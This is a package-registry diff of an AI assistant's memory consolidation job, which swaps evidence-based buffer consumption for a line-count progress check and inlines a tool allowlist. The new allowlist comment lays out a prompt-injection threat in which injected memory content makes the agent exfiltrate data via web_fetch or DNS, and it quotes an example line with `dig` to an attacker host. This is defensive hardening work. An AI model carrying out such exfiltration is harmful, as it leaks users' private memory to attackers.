@vellumai/assistant 0.12.2-staging.7 → 0.12.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/docs/architecture/memory.md +2 -11
- package/docs/desktop-browser-cli.md +2 -4
- package/node_modules/@vellumai/environments/src/shell.test.ts +0 -21
- package/node_modules/@vellumai/environments/src/shell.ts +0 -24
- package/node_modules/@vellumai/gateway-client/src/inbound-contract.ts +2 -8
- package/openapi.yaml +2 -6
- package/package.json +1 -1
- package/scripts/smoke-desktop-browser-cli.ts +0 -1
- package/src/__tests__/agent-loop.test.ts +0 -124
- package/src/__tests__/approval-interception-trust-gates.test.ts +0 -40
- package/src/__tests__/channel-approval.test.ts +14 -9
- package/src/__tests__/conversation-agent-loop.test.ts +0 -25
- package/src/__tests__/plugin-import-boundary-guard.test.ts +1 -0
- package/src/__tests__/run-conversation-turn-persistence.test.ts +1 -138
- package/src/__tests__/script-proxy-certs.test.ts +1 -1
- package/src/__tests__/subagent-tool-gate-mode.test.ts +0 -169
- package/src/__tests__/terminal-tools.test.ts +0 -8
- package/src/__tests__/unicode.test.ts +0 -36
- package/src/agent/loop.ts +0 -19
- package/src/api/index.ts +0 -6
- package/src/approvals/approval-primitive.ts +2 -5
- package/src/approvals/scoped-approval-grants.ts +2 -6
- package/src/daemon/__tests__/conversation-tool-setup.test.ts +0 -43
- package/src/daemon/conversation-agent-loop.ts +0 -2
- package/src/daemon/conversation-tool-setup.ts +1 -57
- package/src/daemon/conversation.ts +0 -17
- package/src/daemon/daemon-control.ts +6 -2
- package/src/daemon/orphan-reaper.ts +3 -4
- package/src/daemon/tool-setup-types.ts +0 -6
- package/src/daemon/wake-conversation-ops.ts +15 -38
- package/src/desktop/desktop-automation-lease.test.ts +0 -143
- package/src/desktop/desktop-automation-lease.ts +3 -39
- package/src/messaging/provider-message-metadata.ts +3 -3
- package/src/notifications/__tests__/copy-composer.test.ts +0 -70
- package/src/notifications/copy-composer.ts +3 -11
- package/src/oauth/seed-providers.ts +30 -0
- package/src/persistence/conversation-plugin-facade.ts +0 -13
- package/src/persistence/schema/index.ts +0 -1
- package/src/persistence/steps.ts +0 -2
- package/src/plugin-api/conversation-turn.ts +7 -31
- package/src/plugin-api/index.ts +1 -9
- package/src/plugins/defaults/memory/AGENTS.md +2 -14
- package/src/plugins/defaults/memory/__tests__/buffer-format.test.ts +0 -43
- package/src/plugins/defaults/memory/__tests__/memory-retrospective-job.test.ts +0 -46
- package/src/plugins/defaults/memory/buffer-format.ts +0 -40
- package/src/plugins/defaults/memory/context-search/agent-runner.ts +2 -1
- package/src/plugins/defaults/memory/context-search/format.ts +1 -2
- package/src/plugins/defaults/memory/context-search/sources/memory-v2.ts +1 -2
- package/src/plugins/defaults/memory/context-search/sources/workspace.ts +1 -2
- package/src/plugins/defaults/memory/graph/capability-seed.ts +2 -1
- package/src/plugins/defaults/memory/graph/tool-handlers.ts +42 -1
- package/src/plugins/defaults/memory/host-utils.ts +10 -0
- package/src/plugins/defaults/memory/injectors.ts +3 -4
- package/src/plugins/defaults/memory/memory-retrospective-job.ts +181 -55
- package/src/plugins/defaults/memory/substrate/__tests__/consolidation-job.test.ts +99 -407
- package/src/plugins/defaults/memory/substrate/__tests__/consolidation-prompt-flag-gating-guard.test.ts +0 -10
- package/src/plugins/defaults/memory/substrate/__tests__/prompts-consolidation.test.ts +7 -107
- package/src/plugins/defaults/memory/substrate/consolidation-job.ts +86 -307
- package/src/plugins/defaults/memory/substrate/page-index.ts +1 -2
- package/src/plugins/defaults/memory/substrate/prompts/consolidation.ts +49 -89
- package/src/plugins/defaults/memory/substrate/sweep-job.ts +1 -1
- package/src/plugins/defaults/memory/tools.ts +1 -1
- package/src/plugins/defaults/memory/v1/graph/consolidation.ts +2 -2
- package/src/plugins/defaults/memory/v1/graph/extraction.ts +1 -2
- package/src/plugins/defaults/memory/v1/graph/retriever.ts +1 -1
- package/src/plugins/defaults/memory/v2/__tests__/migration.test.ts +0 -5
- package/src/plugins/defaults/memory/v2/__tests__/reranker.test.ts +2 -5
- package/src/plugins/defaults/memory/v2/reranker.ts +1 -2
- package/src/plugins/defaults/memory/v3/__tests__/injection.test.ts +1 -81
- package/src/plugins/defaults/memory/v3/__tests__/orchestrate.test.ts +0 -87
- package/src/plugins/defaults/memory/v3/__tests__/shadow-plugin.test.ts +0 -21
- package/src/plugins/defaults/memory/v3/card.ts +1 -2
- package/src/plugins/defaults/memory/v3/injector.ts +178 -212
- package/src/plugins/defaults/memory/v3/orchestrate.ts +22 -86
- package/src/plugins/defaults/memory/v3/pool-select.ts +7 -10
- package/src/plugins/defaults/memory/v3/sections.ts +1 -2
- package/src/plugins/defaults/memory/v3/shadow-plugin.ts +1 -10
- package/src/plugins/defaults/tool-result-truncate/terminal.ts +46 -1
- package/src/runtime/AGENTS.md +1 -1
- package/src/runtime/__tests__/agent-wake.test.ts +1 -86
- package/src/runtime/agent-wake.ts +4 -20
- package/src/runtime/guardian-action-service.ts +17 -2
- package/src/runtime/guardian-reply-router.ts +8 -1
- package/src/runtime/routes/channel-route-shared.ts +9 -1
- package/src/runtime/routes/desktop-setup-routes.test.ts +2 -2
- package/src/runtime/routes/desktop-setup-routes.ts +3 -7
- package/src/runtime/routes/guardian-approval-interception.ts +0 -24
- package/src/runtime/routes/inbound-message-handler.ts +3 -2
- package/src/runtime/routes/inbound-stages/background-dispatch.test.ts +1 -1
- package/src/runtime/routes/inbound-stages/background-dispatch.ts +4 -7
- package/src/schedule/run-script.ts +2 -2
- package/src/tools/host-terminal/host-shell.ts +6 -12
- package/src/tools/shared/filesystem/file-ops-service.ts +31 -1
- package/src/tools/shared/shell-output.test.ts +0 -10
- package/src/tools/shared/shell-output.ts +2 -14
- package/src/tools/skills/sandbox-runner.ts +2 -13
- package/src/tools/skills/scaffold-managed.ts +1 -2
- package/src/tools/terminal/__tests__/safe-env.test.ts +0 -29
- package/src/tools/terminal/safe-env.ts +1 -30
- package/src/tools/terminal/sanitized-bash.ts +2 -15
- package/src/tools/terminal/shell.test.ts +0 -29
- package/src/tools/terminal/shell.ts +7 -13
- package/src/util/host-process.test.ts +1 -17
- package/src/util/host-process.ts +0 -24
- package/src/util/unicode.ts +0 -29
- package/src/__tests__/db-conversation-tool-surface.test.ts +0 -144
- package/src/api/events/desktop-activity-changed.ts +0 -10
- package/src/persistence/conversation-tool-surface.ts +0 -86
- package/src/persistence/migrations/378-create-conversation-tool-surfaces.test.ts +0 -78
- package/src/persistence/migrations/378-create-conversation-tool-surfaces.ts +0 -29
- package/src/persistence/schema/conversation-tool-surfaces.ts +0 -22
- package/src/plugin-api/plugin-channel-turn-trust.test.ts +0 -133
- package/src/plugin-api/plugin-channel-turn-trust.ts +0 -71
- package/src/plugins/defaults/memory/__tests__/buffer-file.test.ts +0 -320
- package/src/plugins/defaults/memory/__tests__/fixtures/buffer-appender.ts +0 -17
- package/src/plugins/defaults/memory/__tests__/memory-run-evidence.test.ts +0 -161
- package/src/plugins/defaults/memory/buffer-file.ts +0 -354
- package/src/plugins/defaults/memory/memory-run-evidence.ts +0 -213
- package/src/plugins/defaults/memory/substrate/consolidation-tool-surface.ts +0 -34
- package/src/tools/terminal/shell-launch.test.ts +0 -162
|
@@ -6,11 +6,8 @@
|
|
|
6
6
|
*
|
|
7
7
|
* The consolidation job is the centerpiece of v2: an hourly background pass
|
|
8
8
|
* that routes accumulated `memory/buffer.md` entries into concept pages,
|
|
9
|
-
* rewrites `memory/recent.md`,
|
|
10
|
-
* buffer
|
|
11
|
-
* the entries it will remove, and removes them itself afterwards, so an
|
|
12
|
-
* entry appended while the run is in flight is still in the buffer when it
|
|
13
|
-
* ends.
|
|
9
|
+
* rewrites `memory/recent.md`, promotes new essentials/threads, and trims the
|
|
10
|
+
* buffer down to entries that arrived after the run started.
|
|
14
11
|
*
|
|
15
12
|
* Consolidation runs as the assistant: `runBackgroundJob()` bootstraps a
|
|
16
13
|
* background conversation and routes the cutoff-templated prompt through
|
|
@@ -19,9 +16,9 @@
|
|
|
19
16
|
* assistant's voice are the point — there is no "consolidator persona" to
|
|
20
17
|
* substitute in.
|
|
21
18
|
*
|
|
22
|
-
* The tool surface is wire-scoped to {@link CONSOLIDATION_ALLOWED_TOOLS}
|
|
23
|
-
* file
|
|
24
|
-
*
|
|
19
|
+
* The tool surface is wire-scoped to {@link CONSOLIDATION_ALLOWED_TOOLS} — the
|
|
20
|
+
* local memory-file operations this pass needs. See that constant for why the
|
|
21
|
+
* run must not carry network egress or host-proxy tools.
|
|
25
22
|
*
|
|
26
23
|
* Lifecycle:
|
|
27
24
|
* 1. Bail if memory is disabled or concept-page memory is not active
|
|
@@ -31,18 +28,11 @@
|
|
|
31
28
|
* so two overlapping schedule windows can't fight over the same files.
|
|
32
29
|
* The lock contains the holder's PID + timestamp so a crashed run leaves
|
|
33
30
|
* a diagnosable trace.
|
|
34
|
-
* 3.
|
|
35
|
-
*
|
|
36
|
-
*
|
|
37
|
-
* 4.
|
|
38
|
-
*
|
|
39
|
-
* stamp when the buffer exceeds the per-run cap); the pass is the
|
|
40
|
-
* snapshot's leading entries up to the first one stamped with the
|
|
41
|
-
* cutoff minute. Those entries are rendered verbatim into the prompt,
|
|
42
|
-
* so what the agent files and what the job later removes are the same
|
|
43
|
-
* set by construction. An entry appended after the snapshot is never in
|
|
44
|
-
* it, and a snapshot that caught an append mid-write leaves its last
|
|
45
|
-
* entry for the next pass. Nothing eligible → bail.
|
|
31
|
+
* 3. Capture the cutoff timestamp at dispatch. Any buffer entry timestamped
|
|
32
|
+
* at or after the cutoff arrived AFTER the run started — leave it for
|
|
33
|
+
* the next pass.
|
|
34
|
+
* 4. Read `memory/buffer.md`. Bail if empty (no work to do, but the lock
|
|
35
|
+
* and skip path still log so operators can confirm the schedule fired).
|
|
46
36
|
* 5. Hand off to `runBackgroundJob()` with the templated prompt. The runner
|
|
47
37
|
* handles bootstrap + processMessage + timeout + error classification,
|
|
48
38
|
* and (because we set `suppressFailureNotifications: true`) does NOT
|
|
@@ -52,21 +42,10 @@
|
|
|
52
42
|
* unchanged. The prompt body is loaded via `resolveConsolidationPrompt`
|
|
53
43
|
* which bounds any operator-provided override to a regular file under
|
|
54
44
|
* 1 MiB before substitution.
|
|
55
|
-
* 6.
|
|
56
|
-
*
|
|
57
|
-
* run
|
|
58
|
-
*
|
|
59
|
-
* closing reply (the pass summary the prompt mandates), the same two
|
|
60
|
-
* evidence shapes the retrospective's cursor advance uses. A run that
|
|
61
|
-
* wrote a page and then stopped mid-work has not filed its pass. With
|
|
62
|
-
* that evidence the job
|
|
63
|
-
* removes exactly the pass's entries from the live buffer through
|
|
64
|
-
* `consumeBufferEntries`, which leaves deferred entries and anything
|
|
65
|
-
* appended during the run in place. A run with no verified write, or
|
|
66
|
-
* a consume that fails, is reported as `invoked` with
|
|
67
|
-
* `noProgress: true`, enqueues no follow-ups, and leaves the buffer
|
|
68
|
-
* intact for the next pass. A failed run (provider error, exception,
|
|
69
|
-
* timeout) likewise consumes nothing. The
|
|
45
|
+
* 6. Verify the run drained the buffer. `runResult.ok` only means the
|
|
46
|
+
* background run completed — the trim itself is delegated to the agent.
|
|
47
|
+
* A run that completes without shrinking the buffer is reported as
|
|
48
|
+
* `invoked` with `noProgress: true` and enqueues no follow-ups. The
|
|
70
49
|
* post-run page index is also read for `danglingLinks` (structural
|
|
71
50
|
* references with no target page): reported on the outcome and in the
|
|
72
51
|
* log, and fed into the NEXT pass's prompt as a repair step like
|
|
@@ -98,8 +77,6 @@
|
|
|
98
77
|
import { readFileSync } from "node:fs";
|
|
99
78
|
import { join } from "node:path";
|
|
100
79
|
|
|
101
|
-
import { getMessages } from "@vellumai/plugin-api";
|
|
102
|
-
|
|
103
80
|
import {
|
|
104
81
|
isMemoryV3Live,
|
|
105
82
|
usesConceptPageMemory,
|
|
@@ -119,21 +96,10 @@ import {
|
|
|
119
96
|
} from "../../../../persistence/jobs-store.js";
|
|
120
97
|
import { runBackgroundJob } from "../../../../runtime/background-job-runner.js";
|
|
121
98
|
import {
|
|
122
|
-
consumeBufferEntries,
|
|
123
|
-
type ConsumeBufferEntriesResult,
|
|
124
|
-
} from "../buffer-file.js";
|
|
125
|
-
import {
|
|
126
|
-
type BufferEntryLines,
|
|
127
99
|
formatBufferTimestamp,
|
|
128
|
-
|
|
129
|
-
splitBufferContent,
|
|
100
|
+
matchBufferEntryStart,
|
|
130
101
|
} from "../buffer-format.js";
|
|
131
102
|
import { getLogger } from "../logging.js";
|
|
132
|
-
import {
|
|
133
|
-
collectSuccessfulToolResultIds,
|
|
134
|
-
countDurableToolUses,
|
|
135
|
-
endsWithTextReply,
|
|
136
|
-
} from "../memory-run-evidence.js";
|
|
137
103
|
import { getWorkspaceDir } from "../paths.js";
|
|
138
104
|
import {
|
|
139
105
|
CONSOLIDATION_TIMEOUT_MS,
|
|
@@ -141,7 +107,6 @@ import {
|
|
|
141
107
|
releaseLock,
|
|
142
108
|
tryAcquireLock,
|
|
143
109
|
} from "./consolidation-lock.js";
|
|
144
|
-
import { CONSOLIDATION_ALLOWED_TOOLS } from "./consolidation-tool-surface.js";
|
|
145
110
|
import { getPageIndex, type PageParseFailure } from "./page-index.js";
|
|
146
111
|
import type { DanglingLink } from "./page-links.js";
|
|
147
112
|
import {
|
|
@@ -156,25 +121,45 @@ const log = getLogger("memory-v2-consolidate");
|
|
|
156
121
|
const JOB_NAME = "memory.consolidate";
|
|
157
122
|
|
|
158
123
|
/**
|
|
159
|
-
|
|
160
|
-
*
|
|
161
|
-
*
|
|
162
|
-
*
|
|
163
|
-
*
|
|
164
|
-
*
|
|
165
|
-
*
|
|
166
|
-
*
|
|
167
|
-
*
|
|
168
|
-
*
|
|
124
|
+
* Tool surface the consolidation run is wire-scoped to. Consolidation is a
|
|
125
|
+
* purely LOCAL memory-file reorganization pass: it reads `buffer.md` + existing
|
|
126
|
+
* pages, writes/edits concept pages, rewrites recent/essentials/threads, and
|
|
127
|
+
* trims the buffer. It has NO legitimate need for network egress or host-proxy
|
|
128
|
+
* tools.
|
|
129
|
+
*
|
|
130
|
+
* Scoping is load-bearing because the run is guardian-trust + non-interactive:
|
|
131
|
+
* the permission checker auto-approves any tool whose classified risk is within
|
|
132
|
+
* the background threshold (default `low`), and a public `web_fetch` classifies
|
|
133
|
+
* Low. An unrestricted surface would therefore let prompt injection embedded in
|
|
134
|
+
* buffer/page content — which can originate from untrusted material the
|
|
135
|
+
* assistant ingested (fetched web pages, emails, documents, channel messages) —
|
|
136
|
+
* exfiltrate memory over an auto-approved egress channel. Wire-gating to this
|
|
137
|
+
* allowlist removes that channel entirely: the excluded tools (`web_fetch`,
|
|
138
|
+
* `web_search`, `network_request`, `host_*`, …) are never even presented to
|
|
139
|
+
* the model, so the fix does not rely on the permission threshold. Mirrors the
|
|
140
|
+
* hardening the sibling memory-retrospective job already applies.
|
|
141
|
+
*
|
|
142
|
+
* `bash` is deliberately EXCLUDED. A shell reopens the egress channel this
|
|
143
|
+
* allowlist exists to close: `dig` / `nslookup` / `ping` classify Low in the
|
|
144
|
+
* command registry and so auto-approve in this background context, letting
|
|
145
|
+
* prompt-injected page content exfiltrate memory over DNS (`dig
|
|
146
|
+
* <secret>.attacker.example`) even with `web_fetch` hidden. The one
|
|
147
|
+
* page-maintenance operation a shell would otherwise handle — retiring a
|
|
148
|
+
* merged/renamed/dead page — is served by `delete_memory_page`, a slug-scoped
|
|
149
|
+
* memory-page delete that reaches only `memory/concepts/**` and carries no
|
|
150
|
+
* network or arbitrary-path reach. It is an allowlist-only tool (hidden from
|
|
151
|
+
* every other tool surface; see `ALLOWLIST_ONLY_TOOL_NAMES`), so naming it here
|
|
152
|
+
* is what surfaces it.
|
|
169
153
|
*/
|
|
170
|
-
const
|
|
154
|
+
const CONSOLIDATION_ALLOWED_TOOLS: readonly string[] = [
|
|
155
|
+
"file_read",
|
|
171
156
|
"file_write",
|
|
172
157
|
"file_edit",
|
|
158
|
+
"file_list",
|
|
159
|
+
"code_search",
|
|
173
160
|
"delete_memory_page",
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
/** The shell on the consolidation surface, counted for diagnosis only. */
|
|
177
|
-
const SHELL_TOOLS: ReadonlySet<string> = new Set(["bash"]);
|
|
161
|
+
"recall",
|
|
162
|
+
];
|
|
178
163
|
|
|
179
164
|
/**
|
|
180
165
|
* Durable checkpoint tracking consecutive consolidation run failures.
|
|
@@ -301,17 +286,6 @@ export type ConsolidationOutcome =
|
|
|
301
286
|
| { kind: "disabled" }
|
|
302
287
|
| { kind: "locked"; holder: string }
|
|
303
288
|
| { kind: "empty_buffer" }
|
|
304
|
-
| {
|
|
305
|
-
/**
|
|
306
|
-
* The buffer holds entries but none is eligible this pass: every entry
|
|
307
|
-
* is stamped with the cutoff minute (or later), so the run would have
|
|
308
|
-
* nothing to file. No agent run, no failure bookkeeping; the next
|
|
309
|
-
* scheduler tick re-checks.
|
|
310
|
-
*/
|
|
311
|
-
kind: "nothing_eligible";
|
|
312
|
-
cutoff: string;
|
|
313
|
-
deferredEntries: number;
|
|
314
|
-
}
|
|
315
289
|
| { kind: "run_failed"; reason?: string }
|
|
316
290
|
| {
|
|
317
291
|
kind: "invoked";
|
|
@@ -325,16 +299,9 @@ export type ConsolidationOutcome =
|
|
|
325
299
|
deferredEntries: number;
|
|
326
300
|
followUpJobIds: string[];
|
|
327
301
|
/**
|
|
328
|
-
*
|
|
329
|
-
*
|
|
330
|
-
*
|
|
331
|
-
*/
|
|
332
|
-
consumedEntries: number;
|
|
333
|
-
/**
|
|
334
|
-
* `true` when the run completed but nothing was consumed: it left no
|
|
335
|
-
* verified page write, or the consume itself failed. The buffer is
|
|
336
|
-
* untouched, nothing changed worth re-embedding, and no follow-ups
|
|
337
|
-
* were enqueued.
|
|
302
|
+
* `true` when the run completed without shrinking the buffer — the
|
|
303
|
+
* agent never trimmed it, so nothing changed worth re-embedding and no
|
|
304
|
+
* follow-ups were enqueued.
|
|
338
305
|
*/
|
|
339
306
|
noProgress: boolean;
|
|
340
307
|
/**
|
|
@@ -403,9 +370,10 @@ export async function memoryV2ConsolidateJob(
|
|
|
403
370
|
return { kind: "empty_buffer" };
|
|
404
371
|
}
|
|
405
372
|
|
|
406
|
-
//
|
|
407
|
-
//
|
|
408
|
-
|
|
373
|
+
// Baseline for the post-run progress check — same metric the scheduler's
|
|
374
|
+
// size trigger uses, so "no progress" below means exactly "the trigger
|
|
375
|
+
// condition still holds".
|
|
376
|
+
const bufferLinesBefore = countNonEmptyLines(bufferContent);
|
|
409
377
|
|
|
410
378
|
// Step 3: capture cutoff. Formatted to match `buffer.md` entry timestamps
|
|
411
379
|
// (`Mon D, h:mm AM/PM`, see `formatBufferTimestamp`) so the agent's
|
|
@@ -432,8 +400,9 @@ export async function memoryV2ConsolidateJob(
|
|
|
432
400
|
const tuning = resolveSubstrateTuning(config.memory);
|
|
433
401
|
const maxEntries = tuning.consolidation_max_entries_per_run;
|
|
434
402
|
if (maxEntries != null) {
|
|
435
|
-
const entryTimestamps =
|
|
436
|
-
.
|
|
403
|
+
const entryTimestamps = bufferContent
|
|
404
|
+
.split("\n")
|
|
405
|
+
.map(extractBufferEntryTimestamp)
|
|
437
406
|
.filter((timestamp): timestamp is string => timestamp !== null);
|
|
438
407
|
if (entryTimestamps.length > maxEntries) {
|
|
439
408
|
const overflowTimestamp = entryTimestamps[maxEntries];
|
|
@@ -469,22 +438,6 @@ export async function memoryV2ConsolidateJob(
|
|
|
469
438
|
}
|
|
470
439
|
}
|
|
471
440
|
|
|
472
|
-
// The pass: the snapshot's leading entries up to the first one stamped
|
|
473
|
-
// with the cutoff minute, rendered verbatim into the prompt and removed
|
|
474
|
-
// by this job once the run has filed them.
|
|
475
|
-
const pass = selectPassEntries(
|
|
476
|
-
snapshot,
|
|
477
|
-
cutoff,
|
|
478
|
-
await snapshotIsComplete(bufferPath, bufferContent),
|
|
479
|
-
);
|
|
480
|
-
if (pass.length === 0) {
|
|
481
|
-
log.info(
|
|
482
|
-
{ cutoff, bufferEntries: snapshot.length },
|
|
483
|
-
"consolidation skipped: no buffer entry is eligible this pass (all stamped at or after the cutoff, or still being appended)",
|
|
484
|
-
);
|
|
485
|
-
return { kind: "nothing_eligible", cutoff, deferredEntries };
|
|
486
|
-
}
|
|
487
|
-
|
|
488
441
|
// Step 4: hand off to the centralized background-job runner. The runner
|
|
489
442
|
// bootstraps the conversation, drives `processMessage`, applies the
|
|
490
443
|
// timeout policy, classifies errors, and — because we opt out via
|
|
@@ -540,7 +493,6 @@ export async function memoryV2ConsolidateJob(
|
|
|
540
493
|
{
|
|
541
494
|
includeCorePagesSection: memoryV3Live,
|
|
542
495
|
articleShape: memoryV3Live ? "v3" : "v2",
|
|
543
|
-
bufferEntries: joinBufferEntries(pass),
|
|
544
496
|
parseFailures,
|
|
545
497
|
danglingLinks,
|
|
546
498
|
overlongSections,
|
|
@@ -592,76 +544,17 @@ export async function memoryV2ConsolidateJob(
|
|
|
592
544
|
: { kind: "run_failed" };
|
|
593
545
|
}
|
|
594
546
|
|
|
595
|
-
// Step 5:
|
|
596
|
-
//
|
|
597
|
-
//
|
|
598
|
-
//
|
|
599
|
-
//
|
|
600
|
-
//
|
|
601
|
-
//
|
|
602
|
-
//
|
|
603
|
-
//
|
|
604
|
-
|
|
605
|
-
|
|
606
|
-
// the agent, so it consumes nothing either. With both, the consume
|
|
607
|
-
// removes exactly the pass's entries and leaves every other entry
|
|
608
|
-
// (deferred past the cap, or appended during the run) in place.
|
|
609
|
-
let consumed: ConsumeBufferEntriesResult | null = null;
|
|
610
|
-
let evidence: RunEvidence = {
|
|
611
|
-
durableWrites: 0,
|
|
612
|
-
shellCalls: 0,
|
|
613
|
-
concluded: false,
|
|
614
|
-
};
|
|
615
|
-
if (runResult.skipReason === undefined) {
|
|
616
|
-
evidence = await readRunEvidence(runResult.conversationId);
|
|
617
|
-
if (evidence.durableWrites > 0 && evidence.concluded) {
|
|
618
|
-
try {
|
|
619
|
-
consumed = await consumeBufferEntries(bufferPath, pass);
|
|
620
|
-
} catch (err) {
|
|
621
|
-
// Thrown only before the rename commits, so the buffer still holds
|
|
622
|
-
// the pass.
|
|
623
|
-
log.error(
|
|
624
|
-
{ err, conversationId: runResult.conversationId },
|
|
625
|
-
"consolidation: buffer consume failed before rewriting; entries left for the next pass",
|
|
626
|
-
);
|
|
627
|
-
}
|
|
628
|
-
}
|
|
629
|
-
}
|
|
630
|
-
const noProgress = consumed === null;
|
|
631
|
-
if (consumed !== null && consumed.lateAppendDrainFailed) {
|
|
632
|
-
log.error(
|
|
633
|
-
{ conversationId: runResult.conversationId },
|
|
634
|
-
"consolidation: the replaced buffer inode could not be read after the rewrite; any entry appended during it is in the daily archive only",
|
|
635
|
-
);
|
|
636
|
-
}
|
|
637
|
-
if (consumed !== null && consumed.unrecoveredLateAppendBytes > 0) {
|
|
638
|
-
// The pass is consumed (the rename committed) but bytes an appender
|
|
639
|
-
// landed on the replaced inode could not be copied back. Those
|
|
640
|
-
// entries are still in memory/archive/<date>.md, written by the same
|
|
641
|
-
// append that wrote them to the buffer.
|
|
642
|
-
log.error(
|
|
643
|
-
{
|
|
644
|
-
conversationId: runResult.conversationId,
|
|
645
|
-
unrecoveredLateAppendBytes: consumed.unrecoveredLateAppendBytes,
|
|
646
|
-
},
|
|
647
|
-
"consolidation: entries appended during the buffer rewrite could not be copied back into buffer.md; they remain in the daily archive only",
|
|
648
|
-
);
|
|
649
|
-
}
|
|
650
|
-
if (consumed !== null && consumed.alreadyAbsent > 0) {
|
|
651
|
-
// Only appenders are expected to touch the buffer during a run. An
|
|
652
|
-
// entry the job handed the run but cannot find afterwards was removed
|
|
653
|
-
// by something else, most likely a customized prompt that still
|
|
654
|
-
// rewrites `memory/buffer.md`; that rewrite carries the stale-read
|
|
655
|
-
// hazard this job exists to avoid.
|
|
656
|
-
log.warn(
|
|
657
|
-
{
|
|
658
|
-
conversationId: runResult.conversationId,
|
|
659
|
-
alreadyAbsent: consumed.alreadyAbsent,
|
|
660
|
-
removed: consumed.removed,
|
|
661
|
-
},
|
|
662
|
-
"consolidation: some of this pass's entries were already gone from buffer.md; the agent must not rewrite the buffer",
|
|
663
|
-
);
|
|
664
|
-
}
|
|
547
|
+
// Step 5: verify the run drained the buffer. `runResult.ok` only means
|
|
548
|
+
// the background run completed — the trim itself is delegated to the
|
|
549
|
+
// agent, and nothing above checks that it happened. A run that completes
|
|
550
|
+
// without shrinking the buffer leaves the scheduler's size trigger armed
|
|
551
|
+
// (it re-fires while the buffer stays over threshold), so enqueuing
|
|
552
|
+
// follow-ups here would fan out one reembed per re-fire for pages that
|
|
553
|
+
// never changed. Entries arriving during the run can inflate the
|
|
554
|
+
// after-count into a false "no progress"; that is benign — the next
|
|
555
|
+
// progressing run enqueues the same follow-ups.
|
|
556
|
+
const bufferLinesAfter = countBufferLines(bufferPath);
|
|
557
|
+
const noProgress = bufferLinesAfter >= bufferLinesBefore;
|
|
665
558
|
|
|
666
559
|
// The agent's file-tool writes invalidate the page index, so this read
|
|
667
560
|
// sees the post-run corpus.
|
|
@@ -688,15 +581,10 @@ export async function memoryV2ConsolidateJob(
|
|
|
688
581
|
{
|
|
689
582
|
conversationId: runResult.conversationId,
|
|
690
583
|
cutoff,
|
|
691
|
-
|
|
692
|
-
|
|
693
|
-
shellCalls: evidence.shellCalls,
|
|
694
|
-
concluded: evidence.concluded,
|
|
695
|
-
skipReason: runResult.skipReason,
|
|
584
|
+
bufferLinesBefore,
|
|
585
|
+
bufferLinesAfter,
|
|
696
586
|
},
|
|
697
|
-
|
|
698
|
-
? "consolidation run wrote no pages through the file tools (it used the shell); buffer left intact, follow-ups skipped"
|
|
699
|
-
: "consolidation run completed without a verified page write and a closing reply; buffer left intact, follow-ups skipped",
|
|
587
|
+
"consolidation run completed without draining the buffer; follow-ups skipped",
|
|
700
588
|
);
|
|
701
589
|
return {
|
|
702
590
|
kind: "invoked",
|
|
@@ -704,7 +592,6 @@ export async function memoryV2ConsolidateJob(
|
|
|
704
592
|
cutoff,
|
|
705
593
|
deferredEntries,
|
|
706
594
|
followUpJobIds: [],
|
|
707
|
-
consumedEntries: 0,
|
|
708
595
|
noProgress: true,
|
|
709
596
|
danglingLinks: danglingAfter,
|
|
710
597
|
};
|
|
@@ -746,7 +633,6 @@ export async function memoryV2ConsolidateJob(
|
|
|
746
633
|
{
|
|
747
634
|
conversationId: runResult.conversationId,
|
|
748
635
|
cutoff,
|
|
749
|
-
consumedEntries: pass.length,
|
|
750
636
|
deferredEntries,
|
|
751
637
|
followUpJobIds,
|
|
752
638
|
},
|
|
@@ -758,7 +644,6 @@ export async function memoryV2ConsolidateJob(
|
|
|
758
644
|
cutoff,
|
|
759
645
|
deferredEntries,
|
|
760
646
|
followUpJobIds,
|
|
761
|
-
consumedEntries: pass.length,
|
|
762
647
|
noProgress: false,
|
|
763
648
|
danglingLinks: danglingAfter,
|
|
764
649
|
};
|
|
@@ -817,126 +702,20 @@ function readBufferContent(bufferPath: string): string {
|
|
|
817
702
|
}
|
|
818
703
|
|
|
819
704
|
/**
|
|
820
|
-
*
|
|
821
|
-
*
|
|
822
|
-
*
|
|
823
|
-
*
|
|
824
|
-
*
|
|
825
|
-
* (the chunking cutoff) works the same way: entries sharing the over-cap
|
|
826
|
-
* entry's minute are deferred with it.
|
|
705
|
+
* Extract the bracketed timestamp from a `buffer.md` entry line
|
|
706
|
+
* (`- [Mon D, h:mm AM/PM] …`, see {@link formatRememberEntry}). Returned
|
|
707
|
+
* verbatim so it can serve directly as a consolidation cutoff: both sides of
|
|
708
|
+
* the agent's "timestamp >= cutoff" comparison then share the exact
|
|
709
|
+
* {@link formatBufferTimestamp} shape.
|
|
827
710
|
*
|
|
828
|
-
*
|
|
829
|
-
*
|
|
830
|
-
*
|
|
831
|
-
*
|
|
832
|
-
*
|
|
833
|
-
* left for the next pass rather than filed and removed in a truncated form.
|
|
834
|
-
*/
|
|
835
|
-
function selectPassEntries(
|
|
836
|
-
snapshot: readonly BufferEntryLines[],
|
|
837
|
-
cutoff: string,
|
|
838
|
-
snapshotIsComplete: boolean,
|
|
839
|
-
): BufferEntryLines[] {
|
|
840
|
-
const pass: BufferEntryLines[] = [];
|
|
841
|
-
for (const entry of snapshot) {
|
|
842
|
-
if (entry.start === null) {
|
|
843
|
-
if (entry.lines.some((line) => line.trim().length > 0)) {
|
|
844
|
-
pass.push(entry);
|
|
845
|
-
}
|
|
846
|
-
continue;
|
|
847
|
-
}
|
|
848
|
-
if (entry.start.timestamp === cutoff) {
|
|
849
|
-
break;
|
|
850
|
-
}
|
|
851
|
-
pass.push(entry);
|
|
852
|
-
}
|
|
853
|
-
const last = pass[pass.length - 1];
|
|
854
|
-
if (
|
|
855
|
-
last !== undefined &&
|
|
856
|
-
last === snapshot[snapshot.length - 1] &&
|
|
857
|
-
!snapshotIsComplete
|
|
858
|
-
) {
|
|
859
|
-
pass.pop();
|
|
860
|
-
}
|
|
861
|
-
return pass;
|
|
862
|
-
}
|
|
863
|
-
|
|
864
|
-
/**
|
|
865
|
-
* How long an unterminated snapshot is given to settle before it is read
|
|
866
|
-
* again. An in-flight append completes within microseconds; a re-read that
|
|
867
|
-
* still returns the same bytes after this is a stable file.
|
|
868
|
-
*/
|
|
869
|
-
const UNTERMINATED_SNAPSHOT_SETTLE_MS = 100;
|
|
870
|
-
|
|
871
|
-
/**
|
|
872
|
-
* Whether the snapshot ends on a complete entry. An append is one write
|
|
873
|
-
* ending in a newline, so content that ends in one is complete. Content
|
|
874
|
-
* that does not is either an append caught mid-write or a buffer whose last
